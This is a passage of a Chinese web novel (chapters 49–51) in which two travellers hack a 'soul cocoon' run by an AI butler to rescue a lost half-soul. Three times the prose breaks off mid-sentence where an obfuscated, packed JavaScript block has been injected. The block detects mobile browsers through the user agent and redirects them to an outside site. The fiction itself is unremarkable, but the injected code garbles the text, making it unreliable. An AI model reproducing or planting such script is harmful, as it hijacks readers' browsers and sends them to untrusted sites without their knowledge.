“是的,我们是两个人,我是以利亚,这是莱纳德,很高兴见到你。”灰眼睛的男人开口道,声音比他想象中要低沉一些,问他,“你怎么称呼?” 方丹愣愣地回答:“我叫方丹。” “跟我们说说你吧,方丹,如果你不介意的话。”以利亚温和地说,“实话实说,这是我们第一次匹配伙伴。” “哇,你们居然是新人?”方丹一下子感兴趣起来,他从没碰到过新人,倒是曾经匹配过一个很可爱的女孩,说自己只匹配过11个伙伴,如果是真话,那她就是他所认识的经验最少的人了。 至于他自己是“新人”的时候,那太久远了,就像成年人不会记得自己的婴儿时期,方丹从未想起过自己刚刚进入系统的时光。 “我曾经有过298位伙伴,跟其中34位有过亲密关系。”方丹坦然地说,朵拉的倩影在他心里一闪而过,这次像流星似的很快就消失了,“我跟上一位交往了三个月,不过我的最长交往记录是十一个月。”非常接近一年,那段关系的终结可真是令人心碎,但即便如此,在方丹的记忆里也早已变成了模糊的一团,他甚至想不起对方的名字。 屏幕里,两人对视一眼,以利亚问:“你说的交往,就像咱们现在这样吗?” “当然不。”方丹笑得露出一口白牙,耐心地跟两个新人解释,“匹配维持时长超过一个月系统才会判定亲密关系,我们每天晚上睡觉前都能选择是否要继续这段关系,如果你们想匹配其他人,或是我看你们不够有吸引力,那么在任何一方终结后,系统都会为我们重新开放匹配。” 听起来像是智能化网恋,或是大型的线上相亲见面会,却又差点什么,莱纳德问方丹:“可我们隔着屏幕能亲密到哪儿去?” 方丹看着莱纳德蓝眼睛,对方的长相很符合自己的审美,而且他一直喜欢金发,他笑了笑:“建立亲密关系后,我们就可以发生关系了呀。” “隔着屏幕?”莱纳德皱皱鼻子,一脸不可置信的表情。 “有什么问题吗?”方丹疑惑地看着他。 “你们……怎么……”莱纳德比了个手势,希望自己能说得直白而不下流,“互动?” “我形容不出来,但那种感觉很……快乐,而且两个人越是相互了解,灵魂契合度越高,发生关系也就越让人享受。”方丹想到他体验过最美妙的,不由得眯起眼睛,对方也是个金发男孩,他们都承认那段关系棒极了,那也是方丹最后悔的一次主动终结匹配,他当时只是忽然为两人只能在发生关系时获得快乐而感到害怕,但之后,他再也没有遇到过灵魂契合度那么高的伙伴。 ——还有小鱼,那些小鱼也让他感到害怕,这个想法忽然闪现,就像亮粉色的小鱼飞快地游过脑海一样,方丹的瞳孔不由地缩小了。 莱纳德的问话打断了方丹的思绪:“灵魂契合度是什么?” “就是……灵魂契合度。”头一次有人问方丹这种问题,他发现这就像解释白色是什么颜色一样困难,他思考了一会儿,反问,“你想要试试吗?” “不了。”莱纳德立刻回答,他看了方丹一眼,发现对方丝毫没有被冒犯的意思,只无所谓地耸了耸肩,“反正我也不确定是不是能坚持一个月不换人。不过……”他好奇地看着对面的两个人:“你们俩的交互界面是什么样的?建立亲密关系了吗?难道你们两之间从来没试过?” 这次莱纳德的反应更激烈:“没有!” 以利亚则低下头,一脸疲惫地捏了捏鼻梁。 “好吧。”方丹不理解这个金发蓝眼的男孩怎么这么容易激动,可能新人就是这样,他叹了口气,对方的长相和声音都很符合自己的喜好,可据说新人和他这样的“老人”很难达到令人满意的灵魂契合度。 “你是做什么的呢?方丹。”以利亚忽然问。 “什么做什么?”方丹一头雾水。 以利亚对他的反应并不意外,解释道:“你有职业吗?” 结果方丹看上去更莫名其妙了:“什么职业?” “那你平时都做些什么呢?” “哦,你是问我的爱好啊,”方丹自以为了然地点点头,“我喜欢远足、赛车、逛公园,偶尔也喜欢读书看电影之类的,不过那些东西很容易就看腻了。” “你平时和谁一起去远足?”以利亚追问,他的问题显然又让方丹摸不着头脑,眉头皱成一团:“除非确定了亲密伴侣,远足肯定是一个人啊。” 莱纳德忍不住插口问道:“你难道从没参加过三个人以上的活动?” 方丹张大了嘴,半天才发出声音:“那、那怎么可能?”他惊疑不定地瞪着屏幕里的两个人,心想,难道系统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318303|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最近推出了两人组合和三人亲密关系?这怎么可以?不过,能多几个人一起玩的确更加吸引人呢。 “方丹,咳,我的意思是,除了所谓的亲密伴侣,你没有结交其他朋友或是参加任何社团吗?” 方丹摇了摇头,警惕地看着以利亚:“你们俩真的是新人吗?”他习惯跟新匹配的伙伴交换各自的喜好和看法,但这两个人更像是从另一个世界来的,他们看他的眼神,也仿佛在看橱窗里的展览品,真心想要匹配伙伴的人不会这么看人。 “钓鱼时间到,我要下线了,再见。”方丹说,他不去听对面请求他留下多聊一会儿的声音,径直点击了“终结匹配”的选项,看着断开连接的主界面,方丹忍不住叹了口气,也许下次匹配他应该尽早说清楚,他现在只想建立稳定一点的关系,而不是回答路人甲的爱情108问。 方丹两只眼睛瞪着主界面,等待钓鱼的页面出现,但这时薇姬的声音却从扩音器里传了出来:“恭喜你,方丹先生,你被系统选中了!” 方丹疑惑地抬起头,他从没听过这种说法:“选中?”屏幕上,小鱼一下子出现了,吐着泡泡在海水里游来游去,蓝色和黑色的小鱼之间,那条亮粉色的小鱼如同全速前进的小艇一般,从屏幕左边冲向对面。方丹不自觉地伸出手指,想要戳中粉色小鱼,他这次反应比以往都快,说不定会成功呢,这个想法让他感到又喜又怕。 薇姬在头顶温柔地回答:“沃冷医生想要见见你。” “谁是沃冷医生?我……”方丹还想继续追问,但他的后半句话猝然淹没在了自己的尖叫声中。 屏幕外,以利亚和莱纳德面面相觑,半晌,以利亚推开键盘,沉声说:“这下你该相信我,灵魂茧房真的存在了吧?” 两个人此刻早已离开古堡,回到了他们的飞船里,面前是主控室的交互界面,以利亚刚才黑进了他说的“灵魂茧房”,跟茧房里的某个灵魂开展了一段最不可思议的对话,直到对方断开了双方的连线。 “我信,但那不代表我的半个灵魂也在茧房里。”莱纳德嘟囔,事实上,他压根没觉得自己和之前有任何不同,“再说了,那个红帽子女巫把人的灵魂弄到茧房里干嘛?又是配对又是亲密伴侣,玩过家家吗?” “人类灵魂蕴藏的能量是我们无法想象的,对于某些懂得黑魔法的巫师而言,把灵魂封在茧房里,就像把牛排冻进冰箱里一样自然。” “那套亲密关系的规则又是为了什么?”莱纳德追问,想到方丹的说法,他胃里感到一阵不适,“那些灵魂连□□都没有。” “保鲜。”以利亚表情凝重,“只不过冰箱用的是低温,灵魂茧房用的是多巴胺,就像方丹说的,远足、赛车、谈恋爱、发生亲密关系……这些都是让灵魂保持鲜活美味的手段罢了。” “美味?” “越快乐的灵魂,吸食起来效果越好,这也是茧房存在的意义。”以利亚看着莱纳德,“你见过实验室的小白鼠吗?给它大脑合适的快感刺激,它会以为自己身在天堂,这时候如果把控制键交给它,它会按着高潮键直到把自己活活饿死。” 莱纳德避开以利亚的目光,他垂头思索了一会儿,问:“所以,方丹不知道自己曾经是谁?也不记得自己为什么会在茧房里?” 以利亚点点头,抱起胳膊:“就像你丢掉的那半个灵魂一样。”他盯着莱纳德,试图从对方脸上找到一点不安或是忧虑的迹象,却失败了。 莱纳德耸了耸肩,满不在乎地问:“就算你说的是对的,我们又该怎么去找呢?” 49.第十七章:寻找莱尼 “不行,这么找下去不是办法。”莱纳德烦躁地推开键盘,伸手搓了搓脸,感觉自己脸上的肌肉都僵硬了,刚才过去的半小时里,他一直在努力保持微笑,好让匹配到的伙伴更接近自己的另一半灵魂,但该死的,另一个莱尼始终没有出现。 用以利亚的话说,没有人的灵魂契合度能比他跟他自己的另一半灵魂更高、更容易实现匹配,只要他保持愉快、保持乐观、保持心境平和。 可谁来告诉他,在这个狗屁系统里被当成货架上的猪肉一样送到一个又一个满脑子欲望的蠢货面前,满脸假笑地从他们嘴里套取少得可怜的信息——顺便一提,根本没人匹配过跟他长得一样的金发蓝眼帅哥——就这么没完没了地做无用功,还他妈怎么保持心境平和? “这根本就是大海捞针,不,根本就是大海里捞一滴水!” “耐心一点,好吗?莱纳德,只要我们……”以利亚试图安抚莱纳德,结果话没说完就被对方顶了回来:“你自己耐心去吧!我受够了!”莱纳德猛地站起来,在主控室里烦躁地兜了几圈,伸手把自己的头发揉成鸡窝状,如果可以,他更想对以利亚的头发或者其他地方做比这糟糕十倍的事,好狠狠出上一口恶气:“没用的!要能匹配早就匹配到了,那半个灵魂肯定是和别人匹配绑定玩过家家去了,要么、要么就是被红帽子女巫吸食干净了,放弃吧,我们现在根本是在浪费时间!” 他转头就要冲出门去,却被以利亚一把抓住手臂,硬生生把他拉了回来,沉声说:“莱纳德,我理解你现在的心情……” “你不理解!”莱纳德喉咙里发出一声厌恶的咆哮,“拜托,别再假惺惺的了!你想听我说出来?好,你听着,我他妈根本不在乎!这下你满意了吗?” “不,你在乎。”以利亚沉下脸,“你只是一时间有点糊涂而已。” 莱纳德几乎是仇恨地瞪着以利亚,一字一顿:“只有一个人在乎,那就是你,因为你是个不折不扣的傻瓜。”他掰开以利亚抓在他胳膊上的手指,怒火像是压力锅上的读数似的不断攀升,在胸口膨胀、燃烧,却让他的声音听起来怪异的冷静:“我不想找回那半个灵魂,不管它在哪儿,都比回到我脑袋里强,我现在好得很,实话告诉你吧,我已经很久没有感觉这么好过了,不用再看着你那张苦大仇深的脸,每天反思自己到底做错了什么,才摊上你这么个满口虚情假意的骗子!” 以利亚愕然后退半步,莱纳德看着他脸上的受伤表情,感到一阵复仇似的快意,但以利亚很快又抓住他的手腕,这一次力气更大,固执道:“我不能让你离开。”他另一只手在控制台上按了一下,主控室的大门立刻应声落锁,发出“咔嗒”一声。 “你不会想把我关在这儿的,以利亚,我说了我不干。”莱纳德说,他阴沉着脸,讥诮地扯了扯嘴角,“有这时间,你还不如自己去找那半个灵魂,乐观点,四眼莱尼说不定更愿意和你匹配呢。” “正有此意。”以利亚的回答出乎莱纳德的意料,他接下来的行动更是莱纳德无论如何没想到的,根本不等莱纳德有任何回应,以利亚忽然抡圆了胳膊,重重一拳砸在莱纳德的下巴上。 看着莱纳德连哼都没哼,就像被抽走基底的砖墙似的轰然倒下,以利亚活动了一下疼痛的手指,在他旁边蹲下,垂头看着对方红肿的下巴和凌乱的金发,低声道:“这可是你自找的。” 莱尼醒来时,发现自己躺在一张窄床上,入目是一片刺目的雪白,天花板是雪白的,墙是雪白的,连他躺着的床也是雪白的。 “嘶……”莱尼揉着脑袋坐起来,他隐约记得自己跟恐怖小红帽定下了某个糟糕的契约,那契约让他从里到外都冷透了。 “早上好,莱尼。”一个温柔的女声在头顶响起,在莱尼四处张望着找她时适时地自我介绍道,“我是你的人工智能管家,薇姬,很高兴为你服务。” “人工智能管家?”莱尼愣愣地重复。 “现在是早餐时间,”薇姬似乎不准备回答他的问题,或者压根没觉得他是在提问,自顾自按照程序说道,“你可以在主界面浏览菜单,选择中意的早餐,提前祝您用餐愉快。” “可我不饿。”莱尼爬起来,走到屋里的控制台前,界面上果然跳出了“早餐”选项,他点了一下,立刻被数不清的早餐花样晃得眼花缭乱,“吐司、汉堡、饺子、炒饭、肉卷、燕麦粥、玉米酪、蛋酥……什么是蛋酥?” “蛋酥可以提高体力和愉悦值,让你在接下来的五个小时里精力充沛、心情舒畅。”薇姬贴心地解释道。 “那就蛋酥吧。”莱尼随口说,他用手指戳了一下屏幕,早餐界面闪烁了一下,消失了。 莱尼等了一阵,却什么都没等到,忍不住问:“我的蛋酥呢?” 薇姬回答:“早餐已享用完毕,你可以在接下来的五个小时里精力充沛、心情舒畅。” 莱尼愕然:“可我还什么都没吃呢。”更奇怪的是,他竟然真的感到一股振奋愉悦的感觉涌了上来,充沛的精力像小鱼似的在四肢百骸游走,他几乎忍不住想跳起来手舞足蹈一番。 薇姬说:“接下来,你可以选择想要进行的活动,运动、外出、社交,或是阅读、观影、绘画……” “额,运动?”莱尼试探地问,他现在真的很需要发泄一下过剩的精力。 “好主意,莱尼,”薇姬听起来很高兴,“你可以在主界面选择运动种类和运动器材,如果有需要,还可以附加VR体验。” 莱尼在主界面浏览起来,他不知道自己为什么要听一个连实体都没有的人工智能的指挥,但这么做似乎也没错,他选择了最简单的“跑步”项目,然后在VR体验里选择了“森林”。 跑步机出现在房间角落,莱尼踏上器材,戴好VR眼睛,立刻发现自己身处一片森林之中,入目尽是一派绿意盎然,鸟鸣清脆悦耳,空气里还有好闻的植物香气。 不过森林里好像没有人,当然,一个简单的跑步VR场景不需要设计N ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13336389|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' PC,莱尼心想,但如果能像MOBA游戏那样多人同时在线,大家边慢跑边聊天,或者在草坪上做游戏,肯定会有意思得多。 莱尼顺着林间小径慢跑起来,微凉的空气扑在脸颊上,清新湿润,让他几乎要怀疑自己是不是还在那个逼仄的室内,就在他忍不住想摘下VR眼镜一看究竟的时候,薇姬的声音再次响起:“你已经跑步半小时,想休息一下吗?” “好。”莱纳德顺从地说,他跳下跑步机,摘掉VR眼镜,看了一眼跑步机上的记录,里程5.8km,步数7763步,心率96次/分,居然跑了这么远吗?看来他的体能比印象中要好得多。莱尼喘了几口气,因为运动而感到心情愉悦,身体反倒不累,但刚才那种精力过剩的感觉消失了。 薇姬又说:“接下来,你可以选择想要进行的活动,运动、外出、社交,或是阅读、观影、绘画……” “行了行了,我知道了。”莱尼再次疑惑自己干嘛要被薇姬支配着干这干那,但在这个地方似乎也没别的好做,他只好皱眉瞪着主界面,犹豫了半天,说:“你这里都有什么书?” “请在阅读菜单里进行选择。”薇姬回答。 莱尼戳了戳屏幕,还以为书单会和早餐菜单一样丰富,结果弹出的结果让他瞠目结舌,《宽容颂歌》、《玫瑰经》、《审判日》、《生命之书》……看起来都是宗教书籍,让他这个无神论者完全提不起兴致来。 “要不我还是出去转转吧。”莱尼改口,心想电影和书籍大概差相仿佛,都是他不感兴趣的类型。 “请在外出菜单里进行选择,佩戴VR眼镜对选择场景展开沉浸式体验。” “等等!”莱尼瞪大眼睛,“不是外出吗?为什么还要戴VR眼镜?”他惊疑不定地扫视着房间,这才发现,屋里竟然连一扇门都没有。 “感谢沃冷公司的技术支持,你的一切活动都可以在这间胶囊舱里完成,请享受。” “什么?” 沃冷公司这四个字像石块丢进湖水似的,在莱尼脑海里激起一层层波澜,他好像听过这个名字,它代表某种邪恶残酷的势力,让人一听就浑身起鸡皮疙瘩。可是,莱尼低头盯着自己的胳膊,光滑的皮肤上连一粒鸡皮疙瘩都没有,那种不安的感觉似乎只存在于他的五脏深处,并且一转眼间,连那一丝不安也很快消失了。“好吧,你说什么就是什么。”他垂下睫毛,顺从地回答。 “请在外出菜单里进行选择,佩戴VR眼镜对选择场景展开沉浸式体验。” “我不外出了,我选社交。”莱尼这次不等薇姬指导,便径自点击了屏幕上的“社交”按钮。 “已为您匹配社交伙伴,祝您结伴愉快。”薇姬说道。 只听“叮”的一声,社交界面亮了起来,莱尼盯着屏幕里出现的陌生男人的脸,犹豫地打了个招呼:“嗨。” 陌生男人笑了笑,灰眼睛里闪烁着愉快的光芒,说道:“自我介绍一下?我叫以利亚,很高兴认识你。” 50.第十八章:粉色小鱼 莱尼和以利亚聊得非常愉快,事实上,如果不是薇姬提醒,他可能会一直跟以利亚聊下去,直到地老天荒——如果这地方也有这个概念的话。 严格说起来,大部分时间都是以利亚负责聊,他负责听,但以利亚讲的故事是那么有趣,他的神情和语调是那么迷人,那双灰水晶似的眼睛是那样奇怪的沧桑却又年轻,莱尼不由自主地沉浸其中,仿佛两个人不是第一次见面,而是已经认识了大半辈子似的。 “莱尼,社交时间马上结束,”薇姬像个温柔又不失严厉的母亲,提醒他,“该跟你的朋友说再见了。” 莱尼顺从地点点头,看着以利亚,不由得感到十分不舍:“我该下线了,以利亚。” 以利亚回望着他,灰眼睛里似乎也有复杂的情绪涌动:“我们明天还能再见吗?” “当然。”莱尼立刻说。 “晚上睡觉前会有一次选择。”以利亚说,这是莱尼第一次在他脸上看到不安的神色,“莱尼,你会选择继续匹配我吧?”他眨着眼睛问。 “会。”莱尼再次给他肯定的答复,以利亚这才露出笑容,但是不安的神色仍然在他眼睛里徘徊,不过他把这点情绪隐藏得很好,温柔地跟莱尼道别:“那么,明天见。” “明天见。”莱尼留恋地看着屏幕恢复到初始界面,一时间几乎希望那上面有个按钮,让他能够直接快进到明天,他发现自己迫不及待地想要见到以利亚,想要听到他的声音,就像口渴时想喝水,饥饿时想吃糖那样,是一种本能。 “莱尼,钓鱼时间到了。”薇姬又说,莱尼叹了口气,为什么不能让他跟以利亚多聊几句呢?他开始觉得这个人工智能絮絮叨叨的有点烦人,还有点霸道。 主界面变成了一片缓缓流动的蔚蓝海水,海水里有好多条鱼在游,蓝色的鱼体型要大一些,游得要慢一些,黑色的鱼更小,游得更快,莱尼看着穿梭来去的小鱼,神情有些恍惚:“你要我钓鱼?” “别被那些黑色和蓝色的小鱼迷了眼睛哦,你需要的是亮粉色小鱼,它们游得很快,但我相信你一定能钓到的,加油吧。”薇姬说道,几乎是她话音刚落,一条很小、颜色异常明亮的小鱼忽然从屏幕一边飞快地游到了另一边,只一眨眼的功夫,莱尼甚至来不及伸出手指,亮粉色小鱼就消失了。 “别气馁,再接再厉。”薇姬鼓励道,莱尼全神贯注地盯着游动的鱼群,压根没有听到她的声音。 钓鱼时间一结束,莱尼差点虚脱倒地,浑身的精力都仿佛被什么东西给抽空了,整个人又饿又渴,眼前发昏,薇姬提示吃晚餐时,他立刻迫不及待地拉开菜单,选择了热量最高的汉堡和可乐。 用餐后他才感觉稍微好了点,但仍旧非常疲惫,眼皮仿佛比之前重了十倍,越来越难撑住,“我、我想我得睡一觉。”莱尼嘟囔道,脑袋摇晃着,只想往床上一倒了事,但他记得自己睡前还要做一件事,一件非常重要的事,是什么来着? “请在主界面确认明天是否继续匹配当前伙伴。”薇姬适时地回答了他心中所想。 “确认,我确认。”莱尼努力睁开眼睛,他移动手指,想到自己上学时代经常因为打瞌睡而在课本上留下形状诡异、无法辨认的字迹,忽然间一个激灵,才发现他差一点戳到“否”上面去,连忙搓搓脸醒了醒神,郑重地点击“是”,看着主界面弹出确认的反馈消息,这才松了口气。 一躺到床上,莱尼立刻就睡着了,在梦里,似乎有好多条小鱼在游。 第二天,薇姬和前一天一样,监督莱尼晨跑、吃早餐,然后询问他接下来想做什么,莱尼毫不犹豫地选择了“社交”。 以利亚再次出现在屏幕里,他似乎早已等在那儿,见到莱尼立刻很高兴地笑起来,露出一口雪白的牙齿:“早上好。” “早上好。”莱尼也忍不住微笑,感到一阵欣喜的暖流在胸口翻腾。 “昨晚睡得怎么样?” “睡得很好,沉得像块石头。” “一个梦都没做?” “一个梦都没做。” “我倒是做了个梦。”以利亚说,“梦到去钓鱼了。” “钓鱼?”莱尼不知道自己脸上的表情忽然间变得恍惚,蓝眼睛也像做梦似的朦胧起来,脑海里,一条亮粉色小鱼游了过去,但这很奇怪,因为他昨天并没有钓到鱼,不是吗? “我梦到我们两个在风琴河岸钓鱼,”以利亚很自然地继续说道,没有流露出一丝担忧的神色,“那里的景色很漂亮,我们白天钓鱼、野餐,摘树上的果子吃,入夜后躺在草坪上看星星,你知道吗?河岸对面的星空美极了,星星像钻石一样亮,比田地里的麦穗还要密,你甚至可以在星光下看书。” “别说看书,连绣花都不成问题。”莱尼微笑着喃喃道。 “你说什么?”以利亚忽然急切地瞪大眼睛。 “嗯?”莱尼愣怔一下,“我刚才说话了吗?” “没什么,是我听错了。”以利亚抿起嘴,有一瞬间,他看上去很忧虑,但不等莱尼注意到,他又转移了话题,“我以前见过一种具有高级智慧的菌类,叫金盏菇,那家伙可真够大的,光是伞柄就比人还高……” 接下来的几天,甚至几个星期,莱尼都是这样度过的,除了固定的晨跑、钓鱼和早晚餐项目,他把全部自由支配的时间无一例外地用在了“社交”上,各种VR场景不再有吸引力,跟以利亚聊天成为了他每天生活中的唯一乐趣。 大概正是这个原因,莱尼越来越期待每天跟以利亚见面,而以利亚似乎也抱有同样的想法,每天社交时间结束前,他都要反复确认,直到听到莱尼亲口答应维持匹配,才会安心地下线。 要是没有那些小鱼,生活就更完美了。 莱尼不得不为钓鱼感到头疼,那些粉色小鱼是那么灵活、那么敏捷,总能在最后一刻躲开他的手指,噌的一下消失在屏幕一端,留下那些缓缓游动的蓝色大鱼安详地吐着泡泡,仿佛在嘲笑他。更糟糕的是钓鱼结束后的虚脱和乏力感,莱尼有一次差点晕倒,还有那种精神上的空虚,几乎让人感到害怕,他不得不在晚餐吃掉很多高热量的食物,才能让自己不至于崩溃。 极偶尔地,他也会点中粉色小鱼,但这一点莱尼并不是很肯定,或许只是他太过期待而产生的错觉,但他隐约记得第一次点中粉色小鱼时的欣喜若狂,薇姬并没有给他任何奖励,但抓住粉色小鱼本身就是一种奖励,不是吗? 钓鱼的记忆总是模糊的,莱尼发现自己在其他时候越来越少想起那些小鱼,可有些时候,当他在项目间隙喘一口气时,当薇姬不在他耳边循循教导时,他清醒地知道自己晚上会梦到那些鱼,在梦里,亮粉色的小鱼越来越多。 他不知道那意味着什么。 这一天,莱尼在连线以利亚时忽然很紧张,他呼吸急促、心跳加快,似乎有一部分的他预感到将有大事发生,而且绝不是他的错觉,匹配连线比平时花费了更长的时间,他等了足足三秒钟,这在以前从来没有发生过。 终于,以利亚的脸出现在屏幕上,他像往常一样对莱尼微笑:“早上好。” “出什么事了吗?你比平时要晚。”莱尼立刻问。 “没什么。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13352720|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以利亚揉揉眼睛,眼白里的红血丝却更明显了,他的声音也哑了,“昨晚没有睡好。” “怎么会?忘记吃晚饭了?”莱尼感到不可思议,他每晚都是一沾枕头就坠入梦乡,一觉到天亮,实在无法想象睡不好是什么感觉。 “先不说那个了,”以利亚用力搓了搓脸,勉强抖擞精神,“今天是个好日子,你知道吗?” 莱尼眼睛一亮:“什么好日子?” 以利亚笑起来:“我们认识一个月了,对不对?” 居然有一个月那么久了吗?莱尼感到惊讶,三十天的时间就这样从他身边溜走,而他却毫无知觉。以利亚似乎误解了他脸上的表情,眼神一黯:“你不开心?” 莱尼摇摇头:“只是没想到时间过得这么快。” “你,”以利亚的表情忽然变得很奇怪,他皱眉时,几条皱纹出现在了眼角,莱尼第一次注意到那些鱼尾巴似的纹路,他听到以利亚好像大难临头似的问他,“你不想继续和我匹配下去了?” 莱尼愣住:“当然不是,怎么忽然这么说?” 以利亚瞪着他,绷紧的脸终于一松:“原来你不知道。”他摇着头自嘲地笑了笑,伸指捏了捏眉心:“抱歉,是我太紧张了。” 莱尼想不出以利亚有什么好抱歉的,追问:“到底出什么事了?” 以利亚说:“一个月是匹配伙伴的节点,莱尼,如果你还愿意继续和我做朋友,我们就可以建立亲密关系了。” “亲密关系?”莱尼瞪大眼睛,紧张的感觉再次回到身体里,他不安地扭动了一下,“是我想的那样吗?” 以利亚不答,只问:“你愿意吗?” 从来没有人问过他这个问题,莱尼紧张地喘了口气,看到主界面上弹出了“是否建立亲密关系”的选项,以利亚的画面和声音一下子成了背景,变得遥远起来。 “请决定是否建立亲密关系,”薇姬在头顶提示他,“如果否认,系统将为您匹配新的伙伴。” 新的伙伴?莱尼根本不想要什么新伙伴,以利亚早就是他最好的朋友了,他只是没想到居然还有一道这么正式的程序,亲密关系,这个词听起来怪吓人的。 “请决定是否建立亲密关系,如果否认,系统将为您匹配新的伙伴。”薇姬严肃地重复了一遍。 “别催我,好吗?”莱尼嘟囔,他的手指悬在“确认”上,犹豫着,为什么一定要安排这种节点?为什么他和以利亚不能继续做好朋友呢?就让一切保持原样。他当然不讨厌以利亚,相反,他很喜欢他,但万一亲密关系太过沉重,把他们刚刚建立起来的友谊压塌了可怎么办? “请决定是否建立亲密关系,如果否认,系统将为您匹配新的伙伴。” “拜托,闭上嘴。”莱尼本以为自己会生气,但事实上,他听起来跟平时一样心平气和,薇姬一遍遍的催促并没有让他乱了方寸,他终于下定决心,在屏幕上做出了选择。 弹窗消失,以利亚的脸再次变得清晰,他看上去很高兴,如果不是那双灰眼睛里一闪而过的忧伤,莱尼简直要以为这个人爱上自己了。 “莱尼,我们是朋友,对吗?”以利亚收起了笑容。 “当然。”莱尼点点头,在心里补了一句,亲密朋友,不知怎地,这个想法差点让他笑出声来。 “我需要请你做一件事,”以利亚严肃地说,“你不能问为什么,也请你,千万、千万别拒绝我,好吗?” 莱尼喉结滚动了一下:“你说吧,什么事?” 以利亚看着他,灰眼睛一眨不眨:“跟我发生关系。” 51.第十九章:病毒 莱尼感到自己的脸“腾”一下烧了起来,以利亚赶在他拒绝前飞快地说:“不是你想的那样,别紧张,只是、只是一种互动而已,你看到主界面里多了一个功能没有?就在右下角。” “……看到了。”莱尼整个人都坐立不安,主界面上毫不委婉地多出一条“发生关系”的选项,直白得简直刺眼。 “拜托。”以利亚只说了这两个字,然后就一脸渴求地看着他。 “我不懂,这是怎么回事?”莱尼艰难地问,他想起来以利亚刚说过别问为什么,但这种事怎么可能连问都不问就随便答应啊! “因为,”以利亚说得也很艰难,但却不是尴尬,莱尼终于看出来他像是受到了某种制约,因而有些话无法说出口,“我需要你的帮助,拜托了。” 莱尼犹豫着,终于答应道:“好吧。” 几乎是话音刚落,以利亚就发来了请求,看着主界面上的“同意”和“拒绝”,莱尼的心砰砰直跳,像个毛头小子似的坐立不安起来,又纠结了好半天,才终于点下“同意”选项。 然后一片温暖的白光就笼罩了下来,像是最柔软的绒毛将他包裹在其中,喜悦和冲动仿佛潮水,一波一波拍打着他,有那么一阵,他不知道自己是谁,也不知道自己在哪儿,只有一个认知无比清晰,以利亚在他身边,屏幕消失了,一切隔阂都消失了,两个人的距离从未如此近过,他几乎能听到对方带着鼻息的耳语。 “莱尼,快醒来。” 莱尼长长地吸了一口气,浑身一颤,眼前的白光消失了,他手脚发软地倒在椅子里,不知道刚才发生了什么,那种感觉无法形容,却奇妙地盘桓在他的每一根神经末梢,挥之不去,让他为之颤抖。 “以利亚?”一开口莱尼才发现自己嗓子哑得厉害,他的心再次狂跳起来,这次却是因为恐惧,屏幕里,以利亚俯身倒在控制台上,就像死掉了一样。 “以利亚!” 莱尼在看到以利亚小幅度地抽动了一下之后终于松了口气,再次叫他:“快醒醒,以利亚,你怎么了?” 以利亚的手指抽搐着,然后吃力地抬起了头,莱尼看到他的脸白得像纸一样,而两颗灰色的眼珠里,竟然各有一条亮粉色的小鱼飞快地游了过去。 怎么会?莱尼瞪着对方,那明明是他的鱼! “莱尼,把手给我。”以利亚咬着牙,朝屏幕伸出了手。 “你在开什么玩笑?”莱尼愕然,但很快他的愕然就变成了惊恐,只见以利亚的手竟然穿过了屏幕,先是五根手指,然后是掌心、掌根、手腕,颤抖着,却坚定不移地朝他抓了过来。 莱尼大叫着从椅子上跳开,屋子里响起警报,薇姬的声音忽然变得尖锐刺耳:“病毒入侵!检测到病毒入侵,杀毒程序已启动,准备清除全部子数据库,倒计时十、九、八……” “快点,没时间了!”以利亚嘎声道,“把手给我。” “别这样,以莱。”莱尼下意识说道,他回头扫视自己身处的胶囊舱,有一个角落已经开始解体,变成碎末,然后变成一片虚无,他低头看向自己的双手,比起刚才变得有些透明了,是因为那些小鱼不见了,对吧?那些粉色小鱼游到以利亚眼睛里了,就好像实现了某种能量转移。 “把手给我!”以利亚无论如何都够不到莱尼,穿出屏幕的手和小臂变成了半透明的,但他还在咬牙把胳膊往前伸,焦急地看着莱尼,“求你了,我们没有时间了。” “以利亚,别这样,你自己走吧。”莱尼不知道自己怎么会说出这些话,但也许是因为小鱼游走了,他的舌头也仿佛忽然一下子生出了主见,“我必须留在这里,契约如此,我不能反悔,不然你的眼睛又会……” “让那该死的契约见鬼去吧!”以利亚的声音像是从牙缝里挤出来的,却比刚才更响、更清晰,莱尼看到他眼睛里不顾一切的疯狂,忽然意识到,如果他执意不走,以利亚也会留下来的,两个人会一起变成碎片。 “快来!” 莱尼握住了以利亚的手。 他的世界再一次变得明亮。 以利亚后退时带倒了椅子,他来不及伸手保持平衡,连人带椅摔在地上,两只手仍然紧紧握着盛装灵魂的小玻璃瓶。 结束了,以利亚头疼欲裂地想道,他松开指缝,看到玻璃瓶里白色荧光正温和地闪烁着,一颗心终于落回了肚子里,这下真的结束了,他把莱尼的半个灵魂找回来了,安全无虞。 但屏幕上的红色警报显然另有看法。 